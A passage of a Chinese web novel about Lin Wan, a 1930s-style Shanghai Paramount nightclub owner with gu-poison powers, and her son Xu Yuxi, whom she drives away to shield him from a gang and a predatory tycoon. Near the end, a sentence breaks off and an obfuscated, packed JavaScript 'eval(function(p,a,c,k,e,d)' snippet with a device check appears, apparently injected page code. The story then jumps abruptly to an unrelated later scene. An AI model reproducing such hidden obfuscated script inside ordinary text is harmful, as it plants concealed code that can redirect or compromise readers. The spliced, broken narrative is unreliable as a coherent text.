“我……我从香港来的，”他弯腰去捡，指尖抖得厉害，“我听说你在上海滩……我来接你回家。” “回家？”林晚笑了，笑声里带着浓浓的嘲讽，她抬手，指尖划过鬓边的卷发，姿态张扬又冷漠，“我的家在这里，上海滩。不是什么穷乡僻壤的苗寨，更不是你待的那个地方。” 她的目光扫过他身上的旧长衫，扫过他沾着风尘的布鞋，眼神里的嫌弃几乎不加掩饰：“许玉溪，你看看你现在的样子，土里土气的，站在这里，丢我的人。” 许玉溪的脸瞬间白了，他看着眼前这个陌生的女人，她烫着时髦的卷发，穿着精致的旗袍，举手投足间都是上海滩女老板的张扬与狠厉，哪里还有半分当年在苗寨，会温柔地给他梳辫子，会偷偷塞给他水果糖的娘亲的影子。 “娘，你是不是……”他想说是不是受了什么委屈，是不是有什么苦衷，话到嘴边，却被林晚冰冷的眼神堵了回去。 “滚。”林晚一字一顿，声音冷得像冰，“拿着你的东西，滚出百乐门。别让我再看见你，否则，我让人打断你的腿，扔去黄浦江喂鱼。” 她的话像一把淬了毒的刀，狠狠割在许玉溪的心上。他怔怔地看着她，眼眶一点点红了，却倔强地不肯掉泪。 舞池里有人注意到这边的动静，纷纷投来好奇的目光。林晚皱了皱眉，抬眼看向旁边的保镖，语气不耐烦：“愣着干什么？把他扔出去。” 两个穿着黑西装的保镖立刻上前，架住许玉溪的胳膊。许玉溪挣扎着，转头看向林晚，声音嘶哑：“娘！你真的不要我了吗？” 林晚没有回头，她仰头将酒杯里的红酒一饮而尽，酒液顺着喉咙滑下，带着灼人的疼。她死死咬着唇，直到尝到一丝血腥味，才压下喉咙里的哽咽。 她不能回头。 她不能让他知道，她在上海滩刀尖舔血，不过是为了挣得一份能护他周全的底气。她不能让他卷进这些阴谋算计里，不能让他重蹈她的覆辙，被苗寨的规矩，被许家的宿命，牢牢困住。 身后传来许玉溪的挣扎声和保镖的呵斥声，还有桂花糕散落一地的窸窣声。 林晚的肩膀微微颤抖了一下，却始终没有回头。 直到楼梯口的动静彻底消失，直到舞池的音乐重新灌满整个空间，她才缓缓转过身，看向空荡荡的楼梯口。 眼底的冰，瞬间碎成了滚烫的泪。 她抬手捂住脸，肩膀控制不住地发抖，压抑的呜咽声从指缝里漏出来，混着舞池的靡靡之音，无人听见。 你走吧，玉溪。 走得越远越好。 永远不要回来。 永远不要……像我一样，玉溪母亲是爱你的，永远爱…… 深秋的风卷着黄浦江边的潮气，刮得人骨头缝都发疼。许玉溪缩着脖子，将洗得发白的的确良衬衫下摆又往里掖了掖，手里攥着一沓刚印好的汽水促销传单，沿着改造过的法租界老街慢慢走。 他被保镖扔出百乐门夜总会的那天，身上只揣着几十块零钱，只能在江边商圈找了个发传单的零活，一天挣十五块，刚够买两个肉包子填肚子。他不敢靠近那栋霓虹闪烁的建筑半步，却又忍不住在夜深人静时，朝着那片流光溢彩的方向望——那里有他的娘亲，也有他看不懂的、冰冷的陌生。 “小子，站住！” 一声粗嘎的喝骂，猛地从巷口窜出来。三个穿着喇叭裤、留着长鬓角的小混混，晃着膀子拦在他面前，为首的那个胳膊上纹着歪歪扭扭的龙形刺青，眼神像鹰隼似的，落在他怀里的传单上。 “这一片发传单，得交保护费，你不知道？”刺青混混伸手，狠狠推了许玉溪一把。许玉溪踉跄着后退两步，怀里的传单散落一地，被风卷着，飘得满街都是。 “我……我只是来兼职的，不知道什么保护费。”许玉溪咬着唇，弯腰去捡传单，声音细弱却带着几分倔强。 “不知道？”刺青混混冷笑一声，抬脚就往散落的传单上碾，“在老子的地盘上，不知道就是找死！” 旁边两个小混混跟着起哄，伸手就要去抢许玉溪怀里剩下的传单。许玉溪急了，伸手去护，却被刺青混混一把揪住了衣领，拳头眼看着就要落下来。 许玉溪闭上眼，心尖猛地一颤——他想起苗寨的青山绿水，想起香港街角的糖果店，想起林晚当年温柔给他梳辫子的手，也想起百乐门里，她那双冷得像冰的眼睛。 就在这时，两道黑色的身影，快得像风一样，从巷口疾步而来。 “住手。” 声音低沉，带着不容置疑的威压。刺青混混的拳头僵在半空，转头看去，只见两个穿着笔挺中山装的男人，身形挺拔，腰间鼓鼓囊囊的，一看就不好惹。 “你们他妈是谁……”刺青混混的话还没说完，其中一个中山装男人上前一步，反手就扣住了他的手腕。只听“咔嚓”一声轻响，刺青混混疼得龇牙咧嘴，惨叫着松开了许玉溪的衣领。 另一个中山装男人则弯腰，利落地将散落的传单捡起来，拍掉上面的灰尘，递到许玉溪手里，声音平淡无波：“许先生，没事吧？” 许玉溪愣住了，看着眼前的两人，又看了看巷口停着的那辆黑色桑塔纳，心里隐隐有了答案。 刺青混混一伙人被中山装男人三下五除二撂倒在地，捂着胳膊腿哀嚎不止。为首的中山装男人掏出手机，不知说了句什么，没过多久，就有穿着联防队制服的人过来，将几个小混混扭着带走了。 巷口恢复了安静，中山装男人转过身，对着许玉溪微微颔首：“许先生，我们老板吩咐，您在上海滩的安全，由我们负责。” 许玉溪攥着怀里的传单，指节微微泛白。他看着那辆黑色桑塔纳，车窗贴着深色的膜，看不清里面的人影。 风又吹过来了，带着江水的腥气。他忽然想起，那天在百乐门，林晚转身时，微微颤抖的肩膀。 他抿了抿唇，没有说话，只是朝着中山装男人点了点头，然后转身，抱着传单，慢慢走进了深秋的暮色里。 而那辆黑色桑塔纳里，林晚正隔着车窗，看着他单薄的背影，指尖的烟燃了半截，烫到了指腹，她却浑然不觉。眼底的红，像极了当年苗寨的蛊花，艳得惊心，也疼得刻骨。 深秋的雨丝裹着寒意，敲得百乐门的玻璃门噼啪作响。许玉溪站在门廊下，身上的的确良衬衫被雨水打湿了大半，紧紧贴在背上，勾勒出单薄的轮廓。他攥着衣角，指尖冻得发紫，望着门内流光溢彩的光影，犹豫了许久，才抬脚走了进去。 舞池里的爵士乐正酣，红男绿女相拥着摇曳，空气里飘着香水和酒的味道。林晚坐在二楼的卡座里，酒红色的卷发松松挽着，指间夹着一支细长的女士烟，烟雾袅袅，模糊了她眼尾的红痣。她抬眼看见许玉溪的瞬间，指尖的烟微微一顿，眼底的笑意瞬间敛去，只剩下冰冷的疏离。 “谁让你进来的？”她开口，声音不大，却带着不容置疑的威压，周围的喧嚣仿佛都静了几分。 许玉溪的脚步顿住，喉咙发紧，他攥着衣角的手更用力了，指节泛白：“娘……” “别叫我娘。”林晚打断他，将烟蒂摁灭在水晶烟灰缸里，声音冷得像冰，“我跟你说过，别再出现在我面前。” 许玉溪的眼眶红了，他低下头，看着自己沾满泥泞的布鞋，声音带着哽咽，却字字清晰：“我知道你不想见我，我也不想来麻烦你。但是……我想去江苏淮安，我听说那里有个老中医，能治……” 他的话没说完，就被林晚冷冷的目光逼了回去。林晚看着他湿透的衬衫，看着他冻得发抖的肩膀，看着他眼底藏不住的倔强和哀求，心口像是被什么东西狠狠攥住，疼得厉害。她别过脸，看向窗外的雨幕，声音硬邦邦的：“淮安那么远，你去那里做什么？老老实实在上海滩待着，没人会再欺负你。” “我待不下去。”许玉溪抬起头，眼底的水汽氤氲，“这里不是我的地方，苗寨也不是……我只想去江苏淮安找那个老中医，学点本事，以后能自己养活自己，再也不麻烦你。” 他的话像一根针，狠狠扎进林晚的心口。她沉默了许久，手指无意识地摩挲着酒杯的边缘，杯壁上的水珠滑落，滴在昂贵的丝绒桌布上，晕开一小片水渍。 舞池里的音乐换了一首慢歌，温柔的旋律流淌在空气里，却化解不了两人之间的寒意。 林晚终于转过头，目光落在许玉溪苍白的脸上，声音依旧冷硬，却少了几分戾气：“淮安路途遥远，路上不安全。” 许玉溪的眼睛亮了亮，像是抓住了一根救命稻草：“我知道，所以我求你……求你送我去江苏淮安，或者，给我一点路费，我自己……” “闭嘴。”林晚打断他，抬手招来了旁边的保镖，声音干脆利落，“去安排一辆车，明天一早，送许先生去江苏淮安。再准备些盘缠和干粮，路上用。” 保镖应声退下，许玉溪愣住了，他看着林晚，眼底满是不敢置信。 林晚别过脸，不去看他的眼睛，声音轻得像叹息，却带着不容置疑的距离：“拿了东西，赶紧走。到了淮安，就别再回来了。” 许玉溪的喉咙发堵，他张了张嘴，想说谢谢，却发现声音哽在喉咙里，怎么也发不出来。他只能对着林晚的背影，深深鞠了一躬，然后转身，快步走出了百乐门。 雨还在下，许玉溪走出大门的那一刻，身后传来林晚的声音，带着一丝不易察觉的颤抖：“路上……小心点。” 许玉溪的脚步顿住，眼泪终于忍不住掉了下来。他没有回头，只是攥紧了拳头，一步步走进了深秋的雨幕里。 卡座里，林晚看着他消失在雨里的背影，抬手捂住了脸，肩膀微微颤抖。酒杯里的红酒晃了晃，溅出几滴，落在她的手背上，像滚烫的泪。 车窗外的雨丝渐渐收了，铅灰色的云层裂开一道细缝，漏出点稀薄的天光。许玉溪坐在桑塔纳的后座，怀里抱着林晚让人准备的布包，里面裹着干粮和盘缠，还有一小瓶跌打损伤的药膏——他认得那药膏的味道，是当年在苗寨，娘亲常给他抹的那种。 车子驶离上海滩的霓虹，一路往西北去，越走越僻静，路两旁的稻田连着天际，湿漉漉的风卷着稻花香钻进来，冲淡了他心头的郁气。 晌午时分，司机将车停在路边的小饭馆门口，说是要歇歇脚，加些油。许玉溪跟着下了车，脚刚沾地，就被一阵喧闹声吸引了目光。 饭馆旁边的空地上，几个扛着锄头的汉子正围着一个姑娘吵吵嚷嚷。那姑娘穿着件洗得发白的蓝布衫，梳着两条麻花辫，手里攥着一个药箱，眉眼清亮，却透着股不服输的倔劲。 “你这丫头片子懂什么医术？我看你就是骗钱的！”一个黑脸汉子伸手就要去抢她的药箱，语气蛮横。 姑娘侧身躲开，声音脆生生的：“大叔，你这是老寒腿犯了，贴两贴我配的膏药就好，怎么是骗钱？” “胡说八道！”黑脸汉子气得吹胡子瞪眼，“我们村的老郎中都治不好，你个黄毛丫头……” 许玉溪站在原地看了半晌，想起自己要去淮安拜师学医的事，脚步不由自主地挪了过去。他看着那姑娘被围在中间，急得鼻尖冒汗，却依旧挺直脊背据理力争的模样，忽然想起了当年在苗寨，娘亲跟族里长老争辩时的样子。 “她没骗人。”许玉溪的声音不大，却清晰地传进每个人耳朵里。 众人循声望去，只见一个穿着的确良衬衫的清瘦少年站在那里，眉眼干净，眼神里带着几分笃定。 黑脸汉子上下打量他一番，嗤笑一声：“你又是哪里来的毛头小子？也敢掺和这事？” 许玉溪往前走了两步，目光落在汉子的腿上：“老寒腿的病根在寒湿入骨，寻常汤药治标不治本，她的膏药里应该加了艾草和红花，能驱寒活血，贴了总比不贴好。” 这话一出，那姑娘猛地转过头，看向许玉溪的眼神里满是惊讶。 黑脸汉子也愣住了，半晌才嘟囔道：“你怎么知道……” “我以前听人说过。”许玉溪笑了笑，没多说。他从小在苗寨长大，耳濡目染，多少懂些草药的门道。 姑娘趁机将药箱护在怀里，对着许玉溪感激地笑了笑：“谢谢你啊，这位大哥。” 许玉溪摇摇头：“举手之劳。” 这时，饭馆里的司机喊他上车，许玉溪应了一声，转头正要走，那姑娘却快步追了上来，手里还拿着一贴用红纸包着的膏药。 “大哥，这个给你。”她将膏药塞进许玉溪手里，“路上要是磕碰了，贴这个管用。我叫南宁，家就在前面的村子里。你呢？” 许玉溪握着温热的膏药，鼻尖萦绕着淡淡的草药香，他看着姑娘清亮的眉眼，心里忽然漾起一丝暖意。 “我叫许玉溪。”他说，“我要去淮安。” “淮安啊，那挺远的。”南宁眨了眨眼，“一路顺风。” 许玉溪点点头，转身朝着桑塔纳走去。他坐上车，回头看时，还能看见那个穿着蓝布衫的姑娘站在路边，朝着他挥手。 车重新驶动，许玉溪将那贴膏药小心翼翼地放进布包里，指尖还残留着草药的清香。他望着窗外飞逝的稻田，嘴角不自觉地弯起一个浅浅的弧度。 这一路，好像也没那么难熬了。 百乐门的包厢里烟雾缭绕，水晶吊灯的光被烟圈搅得昏沉。林晚指尖夹着雪茄，目光扫过面前摊开的账目，眉头越皱越紧。 “闸北仓库的货，当真全被截了？”她的声音压得极低，尾音却带着淬了冰的锐利。 对面站着的管事满头冷汗，头垂得更低：“是，林老板。昨天夜里走的水路，船到江心就被人撞了，货箱沉了大半，剩下的……也被巡捕房的人扣了，说我们私藏违禁品。” 林晚猛地将雪茄摁灭在烟灰缸里，瓷缸被烫出一道焦痕。 她心里明镜似的。这批药材是她打通苏北药材行的关键，走货的路线只有心腹知道，如今出了事，分明是有人在内部捅了刀子，还勾结了巡捕房，设了个天罗地网等着她钻。 “去查，”林晚抬眼，眼尾的红痣在昏光里艳得惊心，“查最近跟青帮走得近的人，尤其是负责水路调度的。” 管事刚应声要走，包厢门突然被人踹开。 十几个穿着黑西装的壮汉闯进来，为首的是青帮二当家，脸上一道刀疤从眉骨划到下巴，手里把玩着一把黄铜匕首，笑得阴恻恻：“林老板，何必这么麻烦？人，我给你带来了。” 他侧身让出一条路，两个壮汉押着一个脸色惨白的年轻人进来——正是负责水路调度的小林子。 小林子看见林晚，腿一软就跪了下去，眼泪鼻涕糊了满脸：“林老板，我错了！是青帮逼我的，他们拿我娘的命要挟我……” 刀疤脸嗤笑一声，上前一步，匕首抵在小林子的喉咙上：“林老板，明人不说暗话。你在上海滩抢了我们不少生意，这笔账，也该算算清楚了。” 林晚靠在沙发上，慢条斯理地拢了拢酒红色的卷发，脸上看不出半分慌乱，语气却冷得刺骨：“想怎么算？” “很简单。”刀疤脸舔了舔唇角，目光在她身上逡巡，带着毫不掩饰的贪婪，“把你手里的药材行和百乐门的三成股份交出来，再当众给我磕三个头，这事……” 他的话没说完，林晚突然抬手，指尖不知何时多了一枚银针。 银光一闪，快得像电。 刀疤脸只觉手腕一阵剧痛，黄铜匕首“当啷”一声掉在地上。他捂着腕子，疼得龇牙咧嘴，再看时，那枚银针正钉在他的袖口上，针尖还泛着淡淡的青色——是苗寨独有的蛊毒。 “你敢阴我？”刀疤脸又惊又怒，挥手就要让人上。 “动一下，试试。”林晚缓缓站起身，绯色丝绒旗袍的下摆扫过地面，她往前走了两步，目光扫过满屋的壮汉，声音不大，却带着让人胆寒的威压，“你们青帮的杜老板，当年在苗寨欠了我一个人情，你信不信，我现在一封书信，就能让他亲自来给我赔罪？” 这话一出，满屋子的人都愣住了。 刀疤脸脸色变了又变，他知道杜老板早年的确去过西南，却不知道还跟眼前这个女人有牵扯。 就在这时，包厢外突然传来一阵急促的脚步声。林晚的贴身保镖冲进来，附在她耳边低语：“老板，巡捕房的人来了，说是接到举报，要搜查这里。” 林晚眼底寒光一闪。 好，好得很。 截货、叛贼、逼宫、搜查，一环扣一环，分明是要将她彻底钉死在上海滩。 她冷笑一声，抬手拔下那枚银针，指尖捻着针尾，目光落在刀疤脸惨白的脸上：“回去告诉你的主子，想吞我的东西，得先掂量掂量自己的牙口够不够硬。” 她顿了顿，眼尾的红痣愈发艳烈：“还有，告诉杜老板，有空的话，不妨来百乐门喝杯茶——我这里，有他当年落下的东西。” 话音落，她转身走向包厢内间的暗门，留给满屋子人一个决绝的背影。 “走。” 暗门缓缓关上，隔绝了外面的喧嚣与杀意。走廊里的应急灯泛着冷光，映着她紧绷的侧脸。贴身保镖紧随其后，低声问：“老板，接下来怎么办？” 林晚脚步一顿，目光望向窗外漆黑的夜空，那里的方向，是淮安。 她的指尖微微收紧，声音带着一丝不易察觉的颤抖，却又无比坚定：“先把巡捕房和青帮的事压下去。另外……加派两个人，去淮安看着玉溪。” “是。” 夜色如墨，百乐门的霓虹依旧闪烁，只是那片流光溢彩里，已然藏满了刀光剑影。 百乐门的霓虹在雨夜中晕成一片模糊的光晕，林晚被两个黑衣保镖“请”进顶层包厢时，指尖的烟还燃着，火星明灭间，映得她眼尾的红痣愈发艳烈。 包厢里只坐着一个男人，穿着笔挺的西装，手指上戴着硕大的翡翠戒指，正慢条斯理地把玩着一只青瓷茶杯。他就是李老板，上海滩新近崛起的地产大亨，手眼通天，连青帮都要让他三分。 “林老板，久仰。”李老板抬眼，目光黏腻地落在林晚的绯色旗袍上，带着毫不掩饰的打量，“闸北仓库的货，巡捕房的案子，还有青帮的麻烦，都是我让人做的。” 林晚的指尖猛地一颤，烟灰落在旗袍下摆，烫出一个小小的焦痕。她掐灭烟，声音冷得像冰：“李老板这是，要逼我上绝路？” “绝路？”李老板笑了，笑声粗嘎刺耳，“林老板这么好的身段，这么精明的头脑，怎么会走绝路？” 他站起身，一步步逼近林晚，身上的雪茄味混着香水味，熏得人恶心。“我知道你是苗寨出来的，手里有蛊术，有药材生意。跟着我，这些麻烦都能平了。” 李老板的手，带着令人作呕的温度，猛地攥住了林晚的手腕。“做我的女人，百乐门还是你的，药材行我再给你注资。你要什么，我都能给你。” 林晚的瞳孔骤然收缩，她用力挣扎，却被保镖死死按住肩膀。她看着李老板那张油腻的脸，看着他眼里的贪婪和欲望，只觉得一股寒意从脚底窜上头顶。 “放开我。”她的声音发颤，却带着骨子里的倔强，“李老板，你别太过分。” “过分？”李老板嗤笑，伸手捏住她的下巴，强迫她抬头，“在上海滩，我说的话就是规矩。你要么从了我，要么看着你的百乐门被封，看着你那在淮安的儿子……” “不准提他！”林晚猛地嘶吼出声，眼底瞬间漫上血丝。许玉溪是她的逆鳞，是她在这刀光剑影的上海滩，唯一的软肋。 李老板的眼底闪过一丝得意，他就知道，这个女人的命门在这里。“那就乖乖听话。”他松开手，慢条斯理地整理着领带，“明天开始，你搬去我的公馆。对外，你是我的秘书。对内……” 他的话没说完，林晚突然笑了，笑声里带着彻骨的寒意。她缓缓抬起头，眼尾的红痣像是淬了毒，目光里的冰冷，让李老板都忍不住心头一颤。 “李老板，你知道苗寨的蛊，是怎么下的吗？” 她的指尖，不知何时多了一根极细的银线，线的末端，缠着一只通体乌黑的小虫子，正微微蠕动。 “它能顺着血脉，钻进人的心脏，让你日日夜夜，疼得生不如死。”林晚的声音轻飘飘的，却带着令人毛骨悚然的威慑力，“你想试试吗？” 李老板的脸色瞬间惨白，他下意识地后退一步，指着林晚，声音都变了调：“你……你敢！” “我为什么不敢？”林晚缓缓挣开保镖的钳制，一步步走向李老板，银线在她指尖轻轻晃动，“我林晚能在上海滩立足，靠的从来不是男人的施舍。你想逼我做小三，就得做好，被蛊虫啃噬心脏的准备。” 她顿了顿，目光扫过包厢里的保镖，声音冷冽：“还有你们，今天的事，要是敢说出去一个字，这只蛊虫，就会钻进你们的喉咙。” 保镖们脸色煞白，纷纷低下头，不敢再看她一眼。 李老板看着那只乌黑的蛊虫，只觉得一股寒气从脊椎窜上来，他强装镇定，却忍不住吞咽着口水：“你……你别乱来！” “乱来？”林晚笑了，她抬手，银线轻轻一甩，那只蛊虫便消失在空气里。“我给你三天时间。”她的声音冷得像淬了冰的刀锋，“把闸北仓库的货还回来，撤了巡捕房的案子，再让青帮给我道歉。” 她走到包厢门口，停下脚步，回头看向李老板，眼底的寒意几乎要将人冻僵。 “不然，上海滩就会少一个李老板。” 说完，她推门而出，绯色的旗袍下摆，在雨夜中划过一道决绝的弧线。身后，是李老板惨白如纸的脸，和满室的死寂。 三天后的清晨，薄雾还没散尽，淮安城郊的小院外就停了辆黑色轿车。车身上没有任何标识，却透着一股与这乡土气息格格不入的压迫感。 许玉溪刚跟着老中医抓完药回来，肩上挎着药篓，脚步轻快。这几日他跟着老郎中认草药、熬汤剂，日子过得平淡又踏实，几乎快要忘了上海滩的霓虹与刀光。 直到轿车的车门被推开，两个穿着黑色西装的男人率先下车，目光锐利地扫过他，然后毕恭毕敬地侧身，让出了后面的人。 李老板走下来，一身熨帖的西装，手里把玩着翡翠戒指，脸上带着几分阴沉的笑意。他上下打量着许玉溪，看着眼前这个穿着粗布褂子、眉眼干净的少年，眼底闪过一丝轻蔑。 “你就是林晚的儿子，许玉溪？” 许玉溪的脚步猛地顿住，手里的药篓差点掉在地上。他攥紧了篓绳，警惕地看着眼前的男人，声音带着几分不易察觉的颤抖：“你是谁？” “我是谁不重要。”李老板缓步走近，身后的保镖紧随其后，将许玉溪的退路隐隐堵住，“重要的是，你娘得罪了我，还不知死活地用蛊虫威胁我。” 许玉溪的心猛地沉了下去。他想起百乐门里林晚冰冷的眼神，想起她转身时颤抖的肩膀，原来那些冷漠背后，是这样的刀光剑影。 “我娘的事，和我没关系。”许玉溪抬起头，眼底的怯懦褪去几分，多了几分倔强，“你找我做什么？” “和你没关系？”李老板嗤笑一声，伸手拍了拍许玉溪的肩膀，力道大得让许玉溪踉跄了一下，“林晚在上海滩最在乎的就是你这个儿子，你说，和你有没有关系？” 他凑近许玉溪的耳边，声音压低，带着毒蛇般的阴冷：“回去告诉你娘，要么乖乖来给我当女人，要么，我就让你这个学医的，尝尝什么叫求生不得，求死不能。” 话音落，李老板猛地甩开手，许玉溪踉跄着后退几步，药篓掉在地上，里面的草药散落一地。 “给我好好‘招待’一下许先生。”李老板冷笑一声，转身就要上车。 就在这时，两道身影从院门口疾步冲了出来，正是林晚派来暗中保护许玉溪的保镖。他们早就认出了李老板的车，一直守在暗处，此刻见对方要动手，立刻上前护住许玉溪。 “李老板，我们老板说了，动她的人，后果自负。”为首的保镖沉声道，手已经按在了腰间。 李老板瞥了他们一眼，眼底满是不屑：“就凭你们？” 他刚要下令让手下动手，却忽然觉得心口一阵刺痛，像是有无数根细针在扎。他脸色一白，猛地捂住胸口，额头上渗出冷汗。 是蛊虫。 林晚的蛊虫，不知何时已经钻进了他的身体。 “告诉林晚……”李老板咬着牙，声音发颤，“这笔账，我记下了。” 他不敢再多待，连忙上车，黑色轿车很快消失在晨雾里。 许玉溪看着散落一地的草药，又看了看眼前的两个保镖，眼眶一点点红了。他终于明白，娘亲在上海滩的冷漠，从来都不是真的不要他，而是在用自己的方式，护他周全。 为首的保镖捡起地上的药篓，递给许玉溪，声音低沉：“许先生，老板让我们转告你，安心待在淮安，上海滩的事，她会处理。” 许玉溪接过药篓，攥紧了手里的一株艾草，指尖微微颤抖。 他看着轿车消失的方向，心里忽然涌起一个念头。 他不能一直躲在这里，等着娘亲来保护他。 他要回上海滩。 他要和娘亲，一起面对。 晨雾还没散尽，药篓里的艾草沾着露水，散在地上，绿得刺眼。 李老板捂着发疼的胸口，脸色白一阵青一阵，却硬是撑着没弯腰。他看着被保镖护在身后的许玉溪，眼底的阴鸷忽然转了个弯，生出几分算计的笑意。 “护？你们护得住一时，护得住一世？”他冷笑一声，声音虽有些发颤，却依旧带着居高临下的威压，“林晚的蛊是厉害，可这淮安地界，还轮不到她的人说了算。” 他往前走了两步，目光落在许玉溪那张酷似林晚的眉眼上，慢悠悠地开口：“小子，我换个条件。你不用跟着你娘在上海滩刀尖舔血，也不用在这里跟着老郎中熬苦药。” 许玉溪皱紧眉，攥着衣角的手更用力了：“你想干什么？” “给我当儿子。” 李老板这话一出，连旁边的保镖都愣住了。 “认我做干爹，跟着我姓李。”李老板抬手，擦了擦额角的冷汗，心口的刺痛一阵紧过一阵，却不妨碍他把话说得诱人，“我保你一辈子衣食无忧，吃香的喝辣的，要什么有什么。你娘那边，我可以既往不咎，百乐门她想守就守着，我绝不碰。” 他知道林晚的软肋是这个儿子，更知道，一个学医的穷小子，抵不住这样的诱惑。 许玉溪却像是听到了天大的笑话，猛地抬起头，眼底满是鄙夷：“你做梦。” “做梦？”李老板被噎了一下，随即沉下脸，语气狠戾，“你以为你有的选？你娘不肯低头，我有的是法子折腾她。她的百乐门，她的药材行，她在上海滩的一切，我都能毁得一干二净！” 他凑近许玉溪，声音压得极低，像淬了毒的蛇信子：“你要是认我，这些麻烦全没了。你要是不认……我就让你眼睁睁看着，你娘是怎么从高高在上的林老板，变成人人可以踩一脚的……” “住口！”许玉溪猛地嘶吼出声，眼眶通红，“不准你侮辱我娘！” 他从小在苗寨长大，听惯了族里人说娘亲的传奇，后来在香港，娘亲会偷偷给他塞水果糖，会在夜里给他讲苗寨的蛊花。就算在百乐门，她对他冷言冷语，他也知道，娘亲心里是有他的。 李老板的话，像一把刀，狠狠割在他心上。 “侮辱？”李老板嗤笑，“这都是她自找的。” 话音未落，他心口的刺痛骤然加剧，疼得他眼前发黑，几乎要栽倒在地。他死死咬着牙，知道是林晚的蛊虫发作了。 “告诉林晚……”他喘着粗气，指着许玉溪，声音里带着怨毒，“要么她来求我，要么……我就绑了她儿子，逼她低头！” 说完，他再也撑不住，被手下的保镖扶着，跌跌撞撞地钻进车里。黑色轿车卷起一阵尘土，飞快地消失在晨雾里。 小院门口恢复了安静，只剩下散落一地的草药，和站在原地，浑身发抖的许玉溪。 林晚派来的保镖走上前，低声道：“许先生，我们送你回院子，加派人手守着，不会再让他……” 许玉溪却摇了摇头，他蹲下身，一片片捡起地上的草药，指尖抖得厉害。 暮霭沉下去的时候，许玉溪蹲在院子里，将散落的草药一片片捡进药篓。艾草上的露水沾湿了他的指尖，凉意顺着血管蔓延到心口，却压不住那股翻涌的焦灼。 老中医屋里的灯还亮着，昏黄的光晕透过窗纸漫出来，映着檐角的蛛网。许玉溪攥着药篓的手紧了紧，转身走到窗下，轻轻叩了叩木窗。 “师父。”他的声音带着几分不易察觉的沙哑。 老中医拉开窗，看见他眼底的红血丝，眉头皱了皱：“怎么了？” “我要走了。”许玉溪垂着头，看着自己沾着泥土的布鞋，“回上海滩。” 老中医沉默片刻，没多问，只是转身进屋，拿了个布包递给他：“这里面是些常用的草药，还有我配的止痛膏，路上用得上。”他顿了顿，又补充道，“你娘在上海滩不容易，凡事别冲动。” 许玉溪鼻子一酸，接过布包，对着老中医深深鞠了一躬：“谢谢师父。” 夜色彻底吞没小院时，许玉溪背着简单的行囊，站在村口的老槐树下。林晚派来的两个保镖早已候在那里，身边停着一辆半旧的吉普车。 “许先生，我们送你回去。”为首的保镖打开车门。 许玉溪点点头，弯腰坐进车里。吉普车发动的瞬间，他回头望了一眼身后的小院，望了一眼那片连绵的稻田。淮安的日子平淡又安稳，像一碗温热的米粥，可他知道，自己不能再贪恋这份安稳了。 车轮碾过乡间的土路，扬起一阵尘土。车厢里很静，只有发动机的轰鸣声在夜里格外清晰。许玉溪靠在车窗上，看着窗外飞逝的树影，指尖一遍遍摩挲着布包里的草药。 他想起李老板那张油腻的脸，想起他说的那些话，想起娘亲在百乐门里冰冷的背影，心口就像被什么东西堵住，闷得发疼。 他不再是那个需要娘亲护着的孩子了。 他要回上海滩，要站在娘亲身边，要让那些欺负他们的人，付出代价。 吉普车一路疾驰，朝着那片霓虹闪烁的方向，越驶越近。 吉普车停在百乐门后巷时，天刚蒙蒙亮。巷子里还飘着隔夜的酒气和烟味，霓虹招牌的光已经淡了，只剩下几盏昏黄的路灯，映着墙上斑驳的污渍。 许玉溪推开车门，脚步有些发沉。他攥着那个装着草药的布包，抬头望向百乐门紧闭的后门，指尖微微发颤。 保镖刚要上前敲门，门却从里面被拉开了。 林晚站在门内，身上还穿着那件绯色丝绒旗袍，酒红色的卷发有些凌乱，眼尾的红痣泛着倦意，眼底却布满了红血丝。她显然一夜没睡，看见许玉溪的瞬间，瞳孔骤然收缩，脸上的疲惫瞬间被震惊和怒意取代。 “谁让你回来的？”她的声音沙哑得厉害，带着压抑的怒火，“我不是让你待在淮安，不准回来吗？” 许玉溪喉结动了动，刚要开口，林晚却猛地上前一步。 “啪——” 清脆的巴掌声，在寂静的巷子里格外刺耳。 许玉溪被打得偏过头，脸颊火辣辣地疼，嘴角甚至渗出了一丝血腥味。他怔怔地看着地面，看着自己沾着尘土的布鞋，没哭，也没躲。 两个保镖吓得脸色发白，连忙低下头，不敢出声。 林晚的手还僵在半空中，指尖微微颤抖。她看着许玉溪泛红的侧脸，心口像是被什么东西狠狠剜了一下，疼得她几乎喘不过气。可她还是咬着牙，声音冷得像冰：“滚。滚回淮安去。这里不是你该待的地方。” “我不回。”许玉溪缓缓抬起头，眼底蓄着一层薄薄的水汽，却倔强地不肯掉下来，“李老板去找我了。他说，要你给他当女人，要不……就要绑了我，逼你低头。” 林晚的身体猛地一颤，脸色瞬间变得惨白。 她知道李老板不会善罢甘休，却没想到，他竟然真的敢对许玉溪下手。那些压在心底的恐惧和愤怒，瞬间翻涌上来，让她几乎失控。 “我不管他对你说了什么！”林晚拔高了声音，眼眶泛红，“你只要乖乖待在淮安，我就能护你周全！你回来干什么？回来送死吗？” “我不是来送死的。”许玉溪看着她，声音不大，却字字清晰，“我是来帮你的。娘，我长大了，我不能再让你一个人，面对这些。” 他顿了顿，抬手轻轻摸了摸自己的脸颊，声音带着一丝哽咽：“你打我也好，骂我也好，我都不会走。上海滩的风雨，我们母子俩一起扛。” 林晚看着他眼底的倔强，看着他和自己如出一辙的眉眼，心里的那道防线，瞬间轰然倒塌。 她猛地别过脸，抬手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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电话那头的李老板明显愣了一下，似乎没料到她会答应得这么干脆，随即爆发出一阵得意的大笑：“条件？林老板现在还有资格跟我谈条件？” “我答应搬进你的公馆，但百乐门必须归我管，我的人也不能动。”林晚无视他的嘲讽，一字一顿地说，“另外，许玉溪的安全，我要你以你的名义担保。从今往后，不准任何人再打他的主意。” “呵，你倒是护子心切。”李老板的语气带着几分玩味，“行，我答应你。不过你记住，进了我李公馆的门，就得守我的规矩。从今天起，你不再是百乐门的林老板，只是我李长河的女人。” 林晚闭了闭眼，喉间涌上一股腥甜，她强压下去，声音冷得像冰：“我知道。” 挂了电话，林晚缓缓靠在椅背上，目光落在窗外。黄浦江的水面上，晨雾渐渐散去，露出浑浊的江水，像极了她此刻的心情。她抬手，指尖抚过琉璃瓶，瓶里的蛊虫正不安地蠕动着，像是在感应她的情绪。 “娘。” 